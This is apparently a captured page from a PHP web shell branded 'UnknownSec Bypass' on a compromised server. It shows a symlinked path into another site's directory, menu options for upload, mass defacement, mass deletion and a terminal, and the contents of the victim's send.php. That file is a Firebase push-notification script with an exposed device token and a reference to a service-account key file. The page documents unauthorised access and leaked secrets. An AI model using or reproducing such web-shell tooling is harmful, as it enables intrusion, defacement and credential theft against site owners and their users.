UnknownSec Bypass
403
:
/
var
/
www
/
jpsagrisolution
/
cpanel
/
product_images
/
xryukz_sym
/
root
/
var
/
www
/
zenithentcare
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
send.php
<?php /* https://fcm.googleapis.com/v1/projects/<YOUR-PROJECT-ID>/messages:send Content-Type: application/json Authorization: Bearer <YOUR-ACCESS-TOKEN> { "message": { "token": "eEz-Q2sG8nQ:APA91bHJQRT0JJ...", "notification": { "title": "Background Message Title", "body": "Background message body" }, "webpush": { "fcm_options": { "link": "https://dummypage.com" } } } } */ use Google\Auth\Credentials\ServiceAccountCredentials; use Google\Auth\HttpHandler\HttpHandlerFactory; require 'vendor/autoload.php'; $credential = new ServiceAccountCredentials( "https://www.googleapis.com/auth/firebase.messaging", json_decode(file_get_contents("zenith.json"), true) ); $token = $credential->fetchAuthToken(HttpHandlerFactory::build()); $ch = curl_init("https://fcm.googleapis.com/v1/projects/zenithentcare/messages:send"); $devicetoken="c_XcTfPbSaGLXBSaznt2jY:APA91bGgRXn60-eenlrbxaX86b6HYd-vq7vPQWuL1844ad6OnI_MP_OFodvx_flZ2g61EK2MrNPrd3y_daonfWfxXHn2I6zq1VejH_xqC-3Ppl0uVrc9mbTwR4rfZW9E78l62rqFdgpX"; $messagetext="Background message body"; curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Content-Type: application/json', 'Authorization: Bearer '.$token['access_token'] ]); curl_setopt($ch, CURLOPT_POSTFIELDS, '{ "message": { "token": '.$devicetoken.', "notification": { "title": "Background Message Title", "body": '.$messagetext.', "image": "https://cdn.shopify.com/s/files/1/1061/1924/files/Sunglasses_Emoji.png?2976903553660223024" }, "webpush": { "fcm_options": { "link": "https://google.com" } } } }'); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "post"); $response = curl_exec($ch); curl_close($ch); echo $response;
Copyright © 2025 - UnknownSec